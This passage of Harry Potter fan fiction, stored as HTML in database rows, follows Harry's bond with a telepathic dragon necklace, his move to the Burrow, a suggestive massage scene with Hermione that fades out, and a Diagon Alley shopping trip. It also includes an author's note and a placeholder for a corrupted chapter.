rest</i>.&quot; And with that, the dragon flew to her dagger perch and landed, tail winding down the blade. When Harry reached down to touch it, he felt warm silver, as if it had never been alive to begin with.</p>\n<p>&quot;What a weird night.&quot; He mused, sitting on his bed. A few moments later he was lying down and fast asleep, surrounded by presents of his closest friends. </p>\n<p>						~**~</p>\n<p>&quot;<i>Wake up, Harry</i>.&quot; Harry groaned lightly, rolling over in his bed and trying to get the light away from his eyes. &quot;<i>Come on, dear, wake up.</i>&quot; The voice spoke again in his mind. Slowly Harry sat up and rubbed his eyes, reaching for his glasses and putting them on. The room was quite blurry. Blinking, Harry took off his glasses to clean them, but was surprised to find them in sharp focus.</p>\n<p>&quot;What the&#8230;?&quot;</p>\n<p>&quot;<i>Harry, sweetie, do you know nothing about dragons?</i>&quot; Harry looked down to his chest, where Celestial was still perched on her dagger. &quot;<i>Dragon powers rub off on people the bond to.&quot;</i> She explained, but mouth not moving. Harry was going to ask, but she stopped him. &quot;<i>I can speak into your mind, Harry.</i>&quot; She explained. &quot;<i>And I can hear your thoughts as you are hearing mine.&quot;</i></p><i>\n</i><p>&quot;My thoughts?&quot; Harry spoke aloud, confused. &quot;You can hear my thoughts?&quot;</p>\n<p>&quot;<i>Yes.</i>&quot; She told his mind. &quot;<i>I decided that you was a nice young man last night and chose you as a friend. When I found out your vision wasn&#8217;t good, I gave you the vision of a dragon.</i>&quot;</p>\n<p>&quot;Vision of a dragon&#8230;&quot; Harry spoke again, this time in a whisper. He remembered studying about dragons with Hermione for the first task. The dragon&#8217;s eyesight was enough to spot a mouse from the air. Testingly, he looked at his hand, amazed at how detailed it was. &quot;Wicked.&quot;</p>\n<p>He heard a small giggle in the back of him mind. It seemed that Celestial was almost like a human female at times. &quot;<i>Shouldn&#8217;t you get down for breakfast?</i>&quot; She asked him.</p>\n<p>&quot;Huh? No, no I don&#8217;t go down for food, they bring it up here.&quot;</p>\n<p>&quot;<i>Well, how nice of them.</i>&quot;</p>\n<p>Harry smirked just as a pounding was heard on his door and his aunt&#8217;s voice screeched at him. &quot;Wake up boy!&quot; She demanded, sliding a place with two pieces of toast on it under the door. &quot;Eat!&quot;</p>\n<p>Celestial was taken aback at this. &quot;<i>What is this!?</i>&quot; She demanded, looking at the scarce food. &quot;<i>Do they not feed you more than that!?&quot;</i></p><i>\n</i><p>&quot;Actually,&quot; Harry informed. &quot;That&#8217;s more than I usually get. I&#8217;m not allowed out of the room for most of the summer. They caught me doing some small magic last week and I haven&#8217;t been out since.&quot;</p>\n<p>&quot;<i>That&#8217;s absurd! You should talk to them about it!</i>&quot;</p>\n<p>Harry bit into the burnt dry toast and chewed. &quot;Nah, I&#8217;d just get yelled at some more. My <i>real</i> food is hidden under my bed.&quot; To prove his point, he removed the loose floorboard and pulled out some cake. &quot;<i>This</i> is breakfast!&quot; He cut the cake with a small plastic knife he had and bit into it. &quot;Mm, dang this is good.&quot;</p>\n<p>&quot;<i>I don&#8217;t understand, Harry, Why don&#8217;t you complain? Move out?</i>&quot;</p>\n<p>&quot;It&#8217;s my last year of school, Cecilia.&quot; Harry replied around a piece of cake, taking a liking to the nickname he just came up with. &quot;I&#8217;ll leave in about two weeks and after that, will never have to come back.&quot; He could feel Celestial&#8217;s aggravation, but she didn&#8217;t comment on it anymore. &quot;I never did thank you for the enhanced vision,&quot; Harry mused, licking his fingers. &quot;Thanks.&quot;</p>\n<p>&quot;<i>It was my pleasure, Harry, but why the nickname?</i>&quot;</p>\n<p>&quot;Ah, I just think \'Cecilia\' is easier to say in conversation than \'Celestial\', that\'s all&quot;</p>\n<p>&quot;<i>Well, that\'s okay then. I was just wondering because that\'s what my friends used to call me&#8230;</i>&quot;</p>\n<p>						~*Two weeks later*~</p>\n<p>The doorbell rang, getting Vernon&#8217;s attention. &quot;Who in blazes would be calling on us at eight in the morning on a Sunday?&quot; He complained, walking to the door and opening it. &quot;Whatever it is, we don&#8217;t want any!&quot; He yelled.</p>\n<p>&quot;We&#8217;re here for Harry.&quot; Ron stated flatly, next to Hermione (who had rang the doorbell). The twins were behind them.</p>\n<p>&quot;He&#8217;s not going anywhere!&quot; Vernon shouted, red in the face. &quot;Not with any of you freaks!&quot; The door slammed in their faces.</p>\n<p>&quot;Fred,&quot; Hermione grinned. &quot;George.&quot; She added. &quot;You&#8217;re up.&quot;</p>\n<p>Fred grinned and took out his wand, swishing it like a conductor. &quot;A one, and a two, and an Alohamora!&quot; </p>\n<p>George opened the door and stode in like he owned the place. &quot;Terribly sorry for the intrusion!&quot; He called out, walking past the kitchen where the family was eating. &quot;No, don&#8217;t get up, I know my way around!&quot; Dudley almost passed out, but Vernon stood, opening his mouth to yell at them some more. </p>\n<p>&quot;He <i>said</i>,&quot; Ron told, throwing a piece of candy into Vernon&#8217;s openmouthed. &quot;Don&#8217;t get up!&quot; And with that, Harry\'s uncle turned into a canary. </p>\n<p>&quot;Bloody nice shot!&quot; Fred congratulated, patting him on the back.</p>\n<p>Hermione ignored them and went up the stairs with George, who had to cast five unlocking spells on Harry\'s door before they could get in.</p>\n<p>&quot;Harry?&quot; She asked, opening the door. </p>\n<p>&quot;About time,&quot; Harry grinned, leaning against the far wall. His room was stripped almost completely and his trunk was in front of him ,where he had one foot on.</p>\n<p>&quot;&#8230;Harry&#8230;?&quot; Hermione stepped in slowly, looking at him. He was wearing a tight black shirt that clearly showed well-developed muscles. His arms were equally as muscled. The jeans he was wearing seemed to mold to his legs, showing that they, too, were defined. He wore a belt for a fashion statement and his necklace was on the outside of his shirt. Hermione walked up to him slowly and placed her hands on his chest, as if unbelieving that it looked like it did. Also she noticed that he wasn&#8217;t wearing his glasses and his hair was in long spikes, sticking backwards. </p>\n<p>&quot;Yeah, it&#8217;s me.&quot; He stated with a grin. &quot;Don&#8217;t I get a hug? I haven&#8217;t seen you all summer!&quot;</p>\n<p>Hermione gasped as she was picked up like she was nothing and hugged against him. &quot;Wow.&quot; She breathed, looking him over one more time. &quot;What have you been eating?&quot;</p>\n<p>&quot;Whatever it is, <i>I</i> want some!&quot; Ron spoke, walking in the room. &quot;Harry! Looking sharp man! Been exercising?&quot;</p>\n<p>&quot;Something like that.&quot; He admitted; hugging Ron as well, quickly as to not destroy their manly image. &quot;Shall we go?&quot;</p>\n<p>&quot;Let&#8217;s shall.&quot;</p>\n<p>						~**~</p>\n<p>Harry called over his shoulder to his panicking guardians as he left. &quot;Bye guys! Thanks for the last seventeen years, I&#8217;ll never forget them no matter how I try!&quot; He waved, lot looking. &quot;I won&#8217;t come back, so don&#8217;t wait up!&quot;</p>\n<p>Harry put his trunk into the back of the van and opened the door for Hermione, letting her in before him. She giggled and said her thanks. When he was about to step in after her, Fred jumped in, followed by George. &quot;Thank you, chap!&quot; One of them said. </p>\n<p>&quot;Mighty fine boy, that one.&quot; The other added.</p>\n<p>Harry smirked and then got in, letting Ron close the door behind him &quot;Thanks for coming to get me.&quot;</p>\n<p>&quot;Anytime.&quot; Ron grinned.</p>\n<p>Harry looked up at the front seats. &quot;Thank you, Mr. , Mrs. Granger!&quot;</p>\n<p>&quot;Don&#8217;t mention it, Harry!&quot; It seemed they had decided to use Muggle methods as to blend in better.</p>\n<p>As it turned out to be quite cramped, Hermione found herself to be sitting in Harry&#8217;s lap for the ride to the Burrow. She sat sideways, so her back was against the window and her feet were across Ron\'s lap.</p>\n<p>&quot;<i>She&#8217;s quite the beauty.</i>&quot; Celestial told him as Harry found his arms going around her waist and her&#8217;s over his shoulder to get more comfortable. &quot;<i>You&#8217;re girlfriend</i>?&quot;</p>\n<p>&quot;Nah,&quot; Harry replied, not thinking that it was out loud.</p>\n<p>&quot;What was that?&quot; Ron looked</p>\n<p>&quot;I said that Hermione&#8217;s not my&#8230;-er, nothing Ron.&quot; Hermione gave him a weird look, and Ron just shrugged.</p>\n<p>&quot;<i>You almost slipped up, sweetie.&quot;</i> Celestial told him with a laughing voice.</p>\n<p>&#8216;<i>Yeah, I know. Sorry, I&#8217;m not used to &#8230;thinking to you, I guess.</i>&#8217; </p>\n<p>&quot;<i>I tried to get you into the habit of it at your house, but did you listen to me? Nooo, You just wanted to learn some more magic from me.</i>&quot;</p>\n<p>&#8216;<i>Well, I have a </i>dragon<i> for a friend who </i>shares <i>my </i>thoughts<i>, so I thought I could at least learn some things from everything that you know.</i>&#8217;</p>\n<p>&quot;Harry, are you okay?&quot; Hermione ran a hand through his hair, amazed at how silky it felt despite the spikes. &quot;You look like your really concentrating on something?&quot; Her hand ran over the side of his face. &quot;And where are your glasses?&quot;</p>\n<p>&quot;Yeah, I meant to ask you about that too. Did you break them again?&quot; Ron was looking interested. &quot;You know Hermione can fix them.&quot;</p>\n<p>&quot;Er, I fixed them.&quot; Harry said lamely.</p>\n<p>&quot;Your glasses?&quot; Hermione was eyeing him skeptically. &quot;Harry, you&#8217;re not making sense.&quot;</p>\n<p>&quot;No, my eyes.&quot;</p>\n<p>&quot;Your <i>eyes</i>!?&quot; Hermione gasped, grabbing his cheeks and peering into his green orbs. Well, orbs weren&#8217;t really the correct word for it anymore. When looking closely, Hermione could make out that his pupils were slightly thinner at the top, almost like they tried to form a cat&#8217;s eye. It was so slight, however, that no one would notice unless they were examining him like she was right now. &quot;Harry&#8230;&quot; she began slowly. &quot;Did you cast a spell on your own eyes?&quot;</p>\n<p>Ron looked impressed. &quot;Way to go mate!&quot;</p>\n<p>Hermione kicked him before turning her attention back to Harry, speaking gently to him. &quot;Harry, what if you messed up? You could have really hurt yourself&#8230;&quot; She looked scared and subconsciously rubbed her thumb across his cheek, making him blush.</p>\n<p>&quot;<i>She likes you.&quot;</i></p><i>\n</i><p>&quot;Hush.&quot;</p>\n<p>Hermione&#8217;s eyes went wide with hurt. &quot; I..&quot;</p>\n<p>Harry quickly realized his mistake. &quot;No, not you! I was talking to Cecilia!&quot;</p>\n<p>&quot;Who!?&quot;</p>\n<p>&quot;Er&#8230;&quot;</p>\n<p>Celestial sighed to herself. &quot;<i>Harry, Harry, Harry, what </i>am<i> I going to do with you? Hmm?&quot;</i></p><i>\n</i><p>Harry looked at her apologetically and used a bump in the road to draw her near so he could whisper in her ear. &quot;I&#8217;ll tell you later.&quot; He said hastily and let her fall back after the jerk of the van was over.</p>\n<p>&quot;Sorry about that!&quot; Mr.Granger apologized. &quot;Pot hole.&quot;</p>\n<p>&quot;S&#8217;kay!&quot; Ron replied, looking over at his friends.</p>\n<p>						~**~</p>\n<p>Harry grabbed his trunk from the back of the van and let Ron help him with it as they walked to the burrow. </p>\n<p>Harry grinned as Mrs. Weasley hugged him tight and welcomed him to his &#8216;home&#8217;. Ginny met him next and flung her arms around his neck when she saw that he was wearing the necklace.</p>\n<p>&quot;Welcome home, Harry.&quot; She whispered into his ear, holding the hug a little longer than necessary. Harry hugged her back tightly. </p>\n<p>&quot;Thanks for the necklace.&quot; He whispered back softly. &quot;It means a lot to me.&quot;</p>\n<p>&quot;I&#8217;m glad you like it.&quot; They parted slowly and Ginny felt herself being let down onto the grass. She only came up to his shoulder as well. &quot;Wow.&quot; She breathed, getting a good look at him. &quot;You look&#8230; good.&quot;</p>\n<p>&quot;Don&#8217;t I?&quot; Harry joked, winking at a slightly irritated Hermione. </p>\n<p>Ron smacked him on the head. &quot;Save it, Slowmeo, we need to get the things upstairs to our room.&quot;</p>\n<p>&quot;That&#8217;s &#8216;Romeo&#8217;.&quot; Harry corrected. &quot;And I&#8217;m not flirting or anything.&quot;</p>\n<p>&quot;Whatever.&quot;</p>\n<p>Harry turned to Hermione. &quot;Was I?&quot;</p>\n<p>&quot;I wouldn&#8217;t know.&quot; She replied indignantly, turning on her heel to follow Ron. &quot;Was I?&quot; He looked at a blushing Ginny, who was in shock staring at his muscles. &quot;Oh boy&#8230;&quot;</p>\n<p>					~**~</p>\n<p>Harry stopped Ron as he exited the bathroom later that night. &quot;Ron, wanna play a game of Wizard chess after I get dressed?&quot; He had just gotten out of the shower and was only wearing a towel at the current moment. The towel and his necklace.</p>\n<p>&quot;Sounds fun, but I&#8217;ll decline tonight.&quot; Ron grinned and patted him on the shoulder. &quot;Don&#8217;t pass out, mate.&quot; And with that, he went down the hall and down the stairs.</p>\n<p>&#8216;<i>Don&#8217;t pass out?</i>&#8217;</p>\n<p>&quot;<i>He is referring to your room.</i>&quot;</p>\n<p>&#8216;<i> Are you looking into the future again?</i>&#8217; Harry started to walk to his and Ron\'s room, wondering why the door was closed.</p>\n<p>&quot;<i>I already told you, sweetie, I can&#8217;t do that.</i>&quot;</p>\n<p>&#8216;<i>Yeah, yeah, can feel the auras around people and feel emotions, I know. Still, it creeps me out how you&#8217;re always right.</i>&#8217;</p>\n<p>Harry opened the door to his and Ron\'s room and almost let his towel fall down from shock. Hermione was on his bed wearing one of his shirts that she probably nipped from his trunk. Candles were lit around his bed and there were a few plastic bottles on his nightstand. There was a smell of incense that made his head a little fuzzy with warm feelings.</p>\n<p>&quot;Hermione?&quot;</p>\n<p>Hermione smiled up at him. &quot;Ready for your birthday present?&quot;</p>\n<p>Harry smirked. &quot;I&#8217;m getting a strip tease?&quot;</p>\n<p>Hermione smacked him across the head when he sat next to her. &quot;No you are most definitely <i>not</i> getting a strip tease!&quot; She scolded him, amazed at how her hand hurt after <i>she</i> hit <i>him</i>. &quot;I&#8217;m going to give you a massage!&quot;</p>\n<p>It clicked. &quot;Oh yeah! You learned how over the summer, right?&quot;</p>\n<p>Hermione nodded, pushing him down on the bed. &quot;Yeah, I did. That&#8217;s why I couldn&#8217;t give it to you through owl post.&quot;</p>\n<p>Harry smiled and laid face down on his bed, turning his head sideways on a pillow. &quot;I take it I won&#8217;t get many of these then?&quot;</p>\n<p>Hermione giggled and put some lotion on her hands. &quot;I don&#8217;t think you&#8217;ll ever get another one, hon.&quot; She pulled on his towel to get it untucked from underneath him and laid across his backside, folded once so she could do all of his legs. &quot;You know I don&#8217;t care about seeing each other without much cloths on after all these years, but&#8230; it&#8217;s still embarrassing.&quot;</p>\n<p>&quot;It&#8217;s just me, Herms.&quot; Harry comforted, blushing himself.</p>\n<p>Hermione smiled gently down at him, placing her hot hands on his back. &quot;It&#8217;s because it&#8217;s you, Harry.&quot; She whispered, rubbing. The lotion made his back feel comfortably hot, making him moan a little in pleasure.</p>\n<p>&quot;That feels really nice&#8230;&quot; He mummer into the pillow.</p>\n<p>&quot;Doesn&#8217;t it, though?&quot; She asked, smiling. &quot;I read it in a book over the summer. I figured it would do you good after quidditch practice, but when I kept reading, it turns out that it&#8217;s more of a&#8230;sensual massage than one for relaxation&#8230;&quot;</p>\n<p>&quot;Whatever it is, I like it&#8230;&quot; Harry was already under a spell it seemed. His eyes were closed lightly and his breathing was slow. The muscles on his back were loose from her rubbing and he seemed perfectly at peace.</p>\n<p>Hermione smiled to herself at the power she had over him. Just a little rubbing and he was already at peace. Truth be told, she looked up on how to give a massage just for him. After his nightmares last night year at school, it tore her apart from the insides out that she couldn&#8217;t do anything to calm him enough for a peaceful night&#8217;s sleep. True, the pair had ended up falling asleep together on the couch a few nights, giving Harry pleasant dreams while she was there, but that plan fell apart faster than it was made the morning that Colin had found them still asleep. He had taken several pictures before waking them up. The next day, everyone in the common room had found out about the two sleeping together. Boy that didn&#8217;t go so well&#8230;</p>\n<p>&quot; &#8216;Mione?&quot;</p>\n<p>Hermione blinked, realizing that she stopped when she went so deep in thought. &quot;Sorry.&quot; She spoke, smiling gently down at his confused face, and before she could help it, bent down and kissed his cheek. &quot;Close your eyes again.&quot;</p>\n<p>&quot;Hmm.&quot; He did just that and Hermione began to run his arms</p>\n<p>&quot;Can you believe that it&#8217;s our last year of school?&quot; She asked, not expecting to get a reply. &quot;I mean, after this what are we going to do? I was thinking of maybe getting a job teaching wizard kindergarten. Do you think I&#8217;d make a good teacher?&quot;</p>\n<p>Harry nodded lightly, still enjoying her touch too much to think of anything logical to say. &quot;Sure thing &#8216;Mione.&quot;</p>\n<p>Hermione ran a finger down his back, getting a shiver from him. &quot;Turn over&quot; she commanded in a soft voice that she didn&#8217;t remember having. Harry complied and turned onto his back, making sure the towel covered the important parts. </p>\n<p>&quot;My front too?&quot; He asked, smiling at her.</p>\n<p>Hermione blushed, but placed her wet hands on his chest. &quot;Rather me not?&quot; She tilted her head to one side and stuck out her bottom lip.</p>\n<p>&quot;By all means.&quot; Harry replied, pulling her to sit on his waist. Hermione complied, but arched an eyebrow after Harry took a sharp breath when she sat on his waist, above his towel. &quot;H-Hermione!&quot;</p>\n<p>&quot;Hmm?&quot; She purred, stroking his chest. The incense was starting to cloud her mind and rational thinking wasn&#8217;t a thing she was currently worrying about.</p>\n<p>&#8216;<i>Oh dear god, she&#8217;s not wearing anything under that shirt!</i>&#8217; Harry\'s mind was screaming. &#8216;<i>Cecilia! What do I do!?</i>&#8217; Her hands were starting to make him feel a little more invigorated on his front.</p>\n<p>&quot;<i>This is none of my business.</i>&quot; Celestial told him with a sly tone to her voice. &quot;<i>Be responsible, Harry. I&#8217;ll talk to you in the morning.</i>&quot; And with that, Celestial&#8217;s presence was gone. She had gone to sleep, becoming once more a normal necklace.</p>\n<p>Harry groaned, finally giving into the pleasure of Hermione\'s hands and the damned incense that wouldn\'t stop clouding his mind. Hermione smiled down triumphantly at him.</p>\n<p>					~*Next Morning*~</p>\n<p>&quot;Ginny, be a dear and go fetch Harry and Ron would you please?&quot; Mrs. Weasley asked as she put a plate of toast on the table.</p>\n<p>&quot;Sure Mum.&quot;</p>\n<p>						~**~</p>\n<p>Ginny raised her hand to knock on Harry and Ron\'s door, but a voice caught her attention. Harry was talking to someone.</p>\n<p>&quot;Cecilia, I <i>told </i>you, we didn\'t do anything!&quot; There was a pause. &quot;I know, I know, I <i>was</i> responsible!&quot; Another pause. &quot;Yes, I know, you can feel it can\'t you?&quot; and a third. &quot;Ginny, I know you\'re out there.&quot;</p>\n<p>Ginny sheepishly opened the door and poked her head in. &quot;Whom was you talking to?&quot;</p>\n<p>Harry seemed to consider the question. &quot;No one.&quot;</p>\n<p>&quot;Uh-huh, so you\'re hearing voices?&quot;</p>\n<p>He gave her his classic goofy grin. &quot;Something like that, yes.&quot; She blinked at him. &quot;Is that scrambled eggs I smell? Sounds tasty!&quot; And with that, he walked to her, picked her up and lung her over his shoulder and carried her downstairs, laughing at her screeches and demands to be put down.</p>\n<p>						~**~</p>\n<p>&quot;You boys sure you\'ll be fine by yourselves?&quot; Mrs. Weasley asked, looking at the line of seventeen (and one sixteen) year olds in front of her. They were all in robes.</p>\n<p>&quot;Yes Mum.&quot; Ron, Ginny, and Harry answered at the same time.</p>\n<p>&quot;Yes, Mrs. Weasley.&quot; Hermione chimed in, elbowing a grinning Harry.</p>\n<p>&quot;Very well then, have fun in Diagon Ally. Be sure not to spend too much, understand?&quot; She looked at Ginny. &quot;Ginny, dear, I know you had a job over the summer break, but don\'t go spending all your savings at once, you hear me?&quot;</p>\n<p>&quot;Yes, Mum.&quot; But her voice sounded a little annoyed.</p>\n<p>&quot;We better go then.&quot; Ron spoke up, grabbing a pinch of flu powder and tossing it into the fireplace. &quot;Diagon Ally!&quot; And he was gone.</p>\n<p>						~**~</p>\n<p>Harry stepped out of the fireplace in the Leaky Cauldron and smirked. &quot;Ahh, feels good to be back in the wizarding world fully again.&quot;</p>\n<p>Ron punched him in the arm playfully. &quot;What, my house not enough wizarding for you?&quot;</p>\n<p>&quot;Come on, boys.&quot; Hermione ushered. &quot;We said we wouldn\'t dally around until after we finished our school shopping.&quot;</p>\n<p>&quot;Yes, Mum.&quot; Harry and Ron said smoothly at the same time, getting smacked by an indignant Granger for their troubles.</p>\n<p>Ginny just shook he head and laughed.</p>\n<p>						~**~</p>\n<p>&quot;Hold still, Harry.&quot; The lady asked for the fifth time while measuring him. &quot;If you don\'t hold still, I\'ll full body bind you!&quot;</p>\n<p>&quot;Do it!&quot; Ron grinned; getting measured himself for new robes. &quot;I wanna see that!&quot;</p>\n<p>&quot;Boys, be<i>have</i>!&quot; Hermione growled, getting into her lecturing voice. &quot;Let them do their job!&quot;</p>\n<p>&quot;Lighten up, Hermione.&quot; Ginny laughed, poking her friend on the arm. They had been measured first, and in half the time of the boys. &quot;Let them have some fun.&quot;</p>\n<p>&quot;Yeah!&quot; Harry agreed, crossing his arms and looking over at them. </p>\n<p>&quot;That does it!&quot; the lady said, pulling her wand. &quot;Imobila!&quot; Harry instantly went stiff from the neck down. &quot;Ah, much better.&quot; The lady pulled his arm from his chest with the greatest of ease and it stayed wherever she moved it.</p>\n<p>Hermione and Ginny were laughing heartily while Ron was doing his best not to laugh, in fear of moving too much and getting the same fate as his friend.</p>\n<p>						~**~</p>\n<p>&quot;<i>I can not </i>believe<i> they had to stun you before they could measure you, Harry!&quot;</i> Celestial scolded him. &quot;<i>I did not teach you to behave in order for you to make me look bad!</i>&quot;</p>\n<p>\'<i>Calm down, Cecilia!\'</i> Harry thought to her. \'<i>I\'m sorry, I\'ll be good, I swear. Besides, no one knows you are trying to teach me proper edict!</i>\'</p>\n<p>&quot;<i> You\'ll thank me when you find yourself at a nice restaurant for a formal occasion and know how to act!&quot;</i></p><i>\n</i><p>\'<i>Please. Me? Formal? I told you about the Yule Ball didn\'t I?</i>\'</p>\n<p>&quot;<i>No, but from the way you feel, I can tell you had a blast. Probably ditched your date and hung out with Ron, didn\'t you?</i>&quot;</p>\n<p>\'<i>Ah, Cecilia, you know me all too well.</i>\'</p>\n<p>&quot;Harry, mate, come on!&quot; Ron shouted at him. &quot;You\'ve been staring at that candy for the past five minutes, buy it or not, we need to get our books!&quot;</p>\n<p>Hermione grabbed his hand and lead him away. &quot;Harry, you are <i>not</i> buying anything until we have all of our books.&quot;</p>\n<p>&quot;Sorry, Herms.&quot; Harry muttered, following her, noticing she hadn\'t let go of his hand. &quot;But you don\'t have to drag me.&quot; Hermione flushed and tried to let go of his hand, but found that he didn\'t want to. &quot;But you don\'t have to let go, either.&quot; He added as an afterthought, winking. Her flush turned to an outright blush as she laced their fingers. </p>\n<p>&quot;Come on.&quot; She told the ground, not looking at him. &quot;We need our books.&quot;</p>\n<p>&quot;Lead the way.&quot; He teased.</p>\n<p>							~**~</p>\n<p>Harry froze as he passed by a row of books. His eyes fixed on the single hardback book and no matter how he tried, he could not pull them away. &quot;I want this&#8230;&quot; His voice came out of his mouth, catching Hermione\'s attention. What had made her look was not the fact that <i>Harry Potter</i> wanted a book that wasn\'t needed for school, but it was the fact that his voice was feminine.</p>\n<p>&quot;Harry?&quot; She asked tentatively. &quot;Is something wrong.&quot;</p>\n<p>&quot;I need to get this.&quot; He replied, voice still light, sounding almost hypnotized. </p>\n<p>&quot;Harry!?&quot;</p>\n<p>As soon as Harry touched the book, he shook his head to clear it. With a fluid motion he de-shelved it and flipped to the front page. &quot;Hermione, I think I\'ll get this too.&quot; He said casually, his voice his own again. With a slight nod, he closed it and handed it to her. &quot;Hold this for me while I find my other books?&quot;</p>\n<p>Hermione nodded and took it from him, holding back a gasp at his eyes. They were fully like dragon eyes, but were quickly reverting back to normal. When he rounded a corner, she looked to see what had caught his attention so much.</p>\n<b><i><u><p>Advanced Sorcery: A Guide to Dragon\'s Magic and How To Use It.</p>\n</u></i></b><i><u></u></i><u></u><p><u><i><b>By: </b></i></u>Orphen</p>\n<p>&quot;&#8230;Why on earth would he want a book a dragon magic?&quot; She asked herself, putting her books down and flipping threw it. &quot;These spells can\'t be done by a human&#8230;&quot; Her eyes darted over the front page. &quot;The brother book <i><u>Dragon Bonding and How to Achieve It</u></i> was published before this one, please read it before attempting anything in this volume.&quot; </p>\n<p>Hermione closed the book and skimmed her hand over the rest of the section, finding the other book mentioned and placed it in her own stack. &quot;You\'re up to something, Harry.&quot; She told herself. &quot;I\'ll find out what it is.&quot;</p>\n<p>						~**~</p>\n<p>&quot;AlllllRighty then!&quot; Harry spoke, opening the bags at the Burrow. &quot;First up, robes!&quot; He reached into the large back holding all their robes. &quot;Size seven, female!&quot;</p>\n<p>&quot;Me.&quot; Ginny grinned and held out her arm for her robe, but found it tossed into her face, over Harry\'s shoulder. </p>\n<p>&quot;Size nine, male!&quot; Harry looked up. &quot;That\'s Ron!&quot; He tossed him the robe and pulled out another. &quot;Size seven, male. My, my, must be mine.&quot; He put it over his shoulder. &quot;Size six, female!&quot; He held up the robe and looked from Ginny to Hermione. &quot;What\'s the difference? You both look the same?&quot;</p>\n<p>Hermione blushed scarlet and snatched her robe, turning to put it on the couch where she would pile her other things. Ron came to his aid by whispering into his ear, low enough so no one else would hear. &quot;Ginny\'s breast are bigger.&quot; </p>\n<p>Harry flushed, getting a mental laugh from Celestial. &quot;Oh&#8230;&quot;</p>\n<p>&quot;Anyway!&quot; Ron clapped his hands and opened the bag full of books, successfully turning Ginny\'s laughing face from Harry to him. &quot;Standard book of spells, grade six.&quot; He handed it to Ginny. &quot;Sevens for us three.&quot; He handed Harry two, in which he gave Hermione one. &quot;Dragon sorcery?&quot; There was a small pause. &quot;Allo? Advanced sorcery, Dragon Magic and how to use it?&quot;</p>\n<p>&quot;Harry!&quot;</p>\n<p>&quot;Eh?&quot;</p>\n<p>&quot;It\'s yours!&quot;</p>\n<p>Harry blinked. &quot;No it isn\'t.&quot;</p>\n<p>&quot;Yes it is.&quot;</p>\n<p>&quot;<i>Yes it is, sweetie</i>.&quot;</p>\n<p>&quot;Oh, yeah, I forgot.&quot; Harry muttered, grabbing his book. \'<i>Cecilia?\'</i> </p>\n<p>Harry totally missed Hermione getting the brother book as he listened to his counterpart talking to him. &quot;<i>I got you to buy it.</i>&quot; She explained to him. &quot;<i>It\'ll help you understand things from the human point of view that I can\'t teach you.</i>&quot; </p>\n<p>\'<i>Ah.</i>\' He thought, putting it down and grabbing another book chunked his way. \'<i>Thanks I guess, but next time, let me know when you decide to take me over? It\'s kind of unnerving&#8230;</i>\'</p>\n<p>&quot;<i>Sorry, sweetie, you\'re right of course.</i>&quot;</p>\n<p>Hermione watched Harry while Ron finished sorting out books and moved on to other random things like quills and parchment. She held a small smug look on her face. Yes, Harry was definitely acting strangely. \'<i>Well, Harry,</i>\' She thought to herself, still watching him. \'<i>I\'ll find out why you are so interested in dragons all of a sudden. It can\'t be because of a single necklace, even Ron could see that&#8230;</i>She glanced at Ron. \'<i>Well, maybe not Ron. He hasn\'t noticed anything at all yet&#8230;</i>\'</p>\n<p>						~~**~~</p>\n<p>&nbsp;</p>\n<p>A/N: Don\'t know how long this will be, but I plan on continuing it on a regular basis. I\'ll try to make each chapter 23 pages (roughly 10,000 words), but because of this, I won\'t update every day. College started Monday (January 6th) so in order for me to set a realistic goal, I\'ll say this. New chapters will be posted one time a week, on Mondays (around 7:00 Central time). I\'ll have a few other \'fics up randomly throughout this series.</p>\n<p>Please leave me a review so I\'ll know if I need to continue this. Chapter one was only about 6,500 words because I\'m not sure if people like epics like this. Chapter 2 will be at <i>least</i> 10,000. If you want me to continue, please take the time to tell me so in a review. If no body tells me to keep going, I won\'t know if you want me to. In return for you taking time to review, I will make a promise that I\'ll keep updating as I said I would. Plus, I promise chapter two will be a lot better ^.~</p>\n\n'),
	(118, 2, '<center><b>This chapter has corrupted or a blank chapter was uploaded. Please contact the author and request that they re-upload the chapter</b></center>'),
	(118, 3, '\n\n\n\n<p class="MsoNormal">Harry sat up in his bed slowly, placing his head in his\nhands and taking long, quiet, deep breaths. He could feel the sweat running\nover his chest and arms. Slowly, after steadying himself, he looked up and into\nthe eyes of his best friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m glad you woke up.&quot; She whispered to him,\nstroking his cheek. &quot;Your screams woke me up. I\'ve been here for a while,\nbut I couldn\'t calm you down&#8230;&quot; Her voice was pained and if the candle\ncould produce enough light, one could see a few tears running down her face.\nHarry opened his mouth to say something, but Hermione hugged him to her. His\nhead rested on her shoulder. &quot;It\'s not fair.&quot; She spoke softly,\nstroking his hair. &quot;Why should you suffer like this?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Breath of Fire III</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">By: </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Satashi</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry chose not to say anything. Instead he wrapped his arms\naround her and started to cry.&nbsp;\n&quot;Shhhh&quot; She hushed him softly, still stroking his hair.\n&quot;Just let it out. It\'s okay. No one will think any less of you.&quot;\nHarry buried his head deeper into her shoulder, and silently cried. Hermione\nheld him to her gently. &quot;That\'s right, just let it out.&quot; He nodded,\nbut his tears were slowing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After a moment, he pulled back and wiped his eyes on his\narm, but stopped when she took his wrist in her small hand. She had a small\nhand towel, probably summoned from her trunk by his wand that was on the table\nby her. She looked into his eyes, asking permission. Harry nodded after a\nmoment and allowed her to dry off the top part of his body slowly. He still\ndidn\'t say anything, or protest her babying of him. It felt rather nice, in\nfact, after the horrid dream he had just went through. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When he was rid of the sweat, Hermione gently pushed him\nback down onto his bed. Even after being healed, he should take it easy for a\nfew days. He had to repair a lot of damage to his body. It would be physically\ntaxing for a while. After making sure Harry was lying down, Hermione retreated\nto her bed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed a moment and closed his eyes, trying to\nre-blank his mind. On top of it all, he had somehow kicked his covers off the\nend of his bed. It was also a little chilly. Hermione had enchanted their room\nto be cool a few days after they had set everything up the way they liked it.\nHermione was one of those people who liked to be cool all the time. Of course\nhe didn\'t protest. No matter how stylish, those robes got hot after a while&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened his eyes when he smelt pleasurable incense 